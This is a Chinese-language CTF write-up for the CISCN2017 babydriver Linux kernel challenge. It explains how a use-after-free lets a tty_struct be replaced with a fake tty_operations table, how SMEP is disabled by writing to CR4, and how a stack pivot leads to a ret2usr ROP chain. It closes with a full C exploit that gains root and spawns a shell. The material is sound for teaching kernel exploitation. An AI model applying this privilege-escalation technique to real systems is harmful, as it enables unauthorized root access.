1.知识预备

  • 在用户态的题中,我们常常会更改某个函数的指针,使程序调用此函数时跳到另一个我们所需要的函数中。在kernel里面,也有类似的做法,tty_struct里的tty_operations就是这样一种结构,里面包含大量的函数指针。

tty_struct

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox;    /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp;       /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize;     /* winsize_mutex */
    unsigned long stopped:1,    /* flow_lock */
              flow_stopped:1,
              unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8,    /* ctrl_lock */
              packet:1,
              unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room;  /* Bytes free for queue */
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;      /* protects tty_files list */
    struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
} __randomize_layout;

tty_operations

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    int  (*write_room)(struct tty_struct *tty);
    int  (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;
  • 那么如何来控制这个tty_operations结构呢,首先我们需要得到这个结构,可以通过open("ptmx",2)来分配到这个结构,而且这个结构是通过kzalloc来分配的。而如下kzalloc也是通过调用kmalloc来实现分配的。
static inline void *kzalloc(size_t size, gfp_t flags)
{
	return kmalloc(size, flags | __GFP_ZERO);
}

bypass smep

  • smep防护是为了防止ret2usr而提出的保护,简单来说是内核不能访问用户空间的数据。
  • 一般为了关闭smep防护,通过修改cr4寄存器第20位的只,一般为1就是开启,为0就是关闭。
  • 在题目中一般是通过mov cr4,0x6f0 来进行关闭。

2.做法分析

  • 这次拿的题目也是CISCN2017-babydriver。不过这次我们利用新知识来做题。下面不对文件、题目进行一一分析了。有了上面的知识前景。我们直接做题。
  • 通过前面文章的分析,我们可以知道这次有一个uaf,而tty_struct也是通过kmalloc分配的,所以我们也可以通过类似cred重新占用堆的方式来让tty_struct占用前面释放的堆。
  • 然后通过伪造tty_operations结构,更改里面函数的指针,然后在通过ret2usr并关闭smep的方式来提权,而我们需要得到tty_struct的大小,可以通过前面文章的两种方式得到,这里通过计算大小0x2e0。而能够控制tty_struct之后,我们需要我们执行ret2usr的rop链,所以我们选择栈迁移的方式。

栈迁移

for(int i=0; i<0x20; i++) {
    fake_tty_operations[i] = 0xffffffffffff0000+i ;
}
    fake_tty_operations[7] = 0xFFFFFFFF8181BFC5;//tty_operations->write ==> 0xFFFFFFFF8181BFC5
  • 然后对0xFFFFFFFF8181BFC5 下断点。
  • 发现此时的rax寄存器是指向tty_struct的。
  • 所以我们可以选择 mov rsp,rax;ret和pop rax;pop rbx;ret类gadgets来进行栈转移。

3.漏洞脚本编写

#include "stdio.h"
#include "fcntl.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/ioctl.h"

size_t prepare_kernel_cred=0xffffffff810a1810;
size_t commit_creds=0xffffffff810a1420;

size_t user_ss,user_cs,user_rflags,user_sp;
void save_status(){
	asm("mov user_cs,cs;"
		"mov user_ss,ss;"
		"mov user_sp,rsp;"
		"pushf;"
		"pop user_rflags;"
	);
	puts("[+]Save Successful!");
}

void shell(){
	if(getuid()==0){
		puts("[+]Hacked Successful!");
		system("/bin/sh");
	}else{
		puts("[-]Hacked Failed!");
		exit(0);
	}
}

void root(){
	((void(*)(char*))commit_creds)(((char*(*)(int))prepare_kernel_cred)(0));
}

void main(){
	save_status();
	size_t pop_rdi_ret=0xffffffff810d238d;
	size_t mov_cr4_rdi_pop_rbp=0xffffffff81004d80;
	size_t swapgs=0xffffffff81063694;
	size_t iretq_ret=0xffffffff814e35ef;
	size_t pop_rax_rbx_ret=0xffffffff810635f5;
	size_t mov_rsp_rax_dec_ebx_ret=0xFFFFFFFF8181BFC5;
	size_t rop[0x20]={0};
	int i=0;
	rop[i++]=pop_rdi_ret;
	rop[i++]=0x6f0;
	rop[i++]=mov_cr4_rdi_pop_rbp;
	rop[i++]=0;
	rop[i++]=(size_t)root;
	rop[i++]=swapgs;
	rop[i++]=0;
	rop[i++]=iretq_ret;
	rop[i++]=(size_t)shell;
	rop[i++]=user_cs;
	rop[i++]=user_rflags;
	rop[i++]=user_sp;
	rop[i++]=user_ss;
	size_t  fake_tty_operations[0x20];
	fake_tty_operations[0]=pop_rax_rbx_ret;
	fake_tty_operations[1]=(size_t)rop;
	fake_tty_operations[3]=mov_rsp_rax_dec_ebx_ret;
	fake_tty_operations[7] = mov_rsp_rax_dec_ebx_ret;
	int fd=open("/dev/babydev",2);
	int fp=open("/dev/babydev",2);
	if(fd<0||fp<0){
		puts("[-]Open Failed!");
		exit(0);
	}
	ioctl(fd,0x10001,0x2e0);
	close(fd);
	int tty=open("/dev/ptmx",2);
	size_t fake_tty_struct[4]={0};
	read(fp,fake_tty_struct,0x20);
	fake_tty_struct[3]=(size_t)fake_tty_operations;
	write(fp,fake_tty_struct,0x20);
	char buf[0x8]={0};
	write(tty,buf,8);
}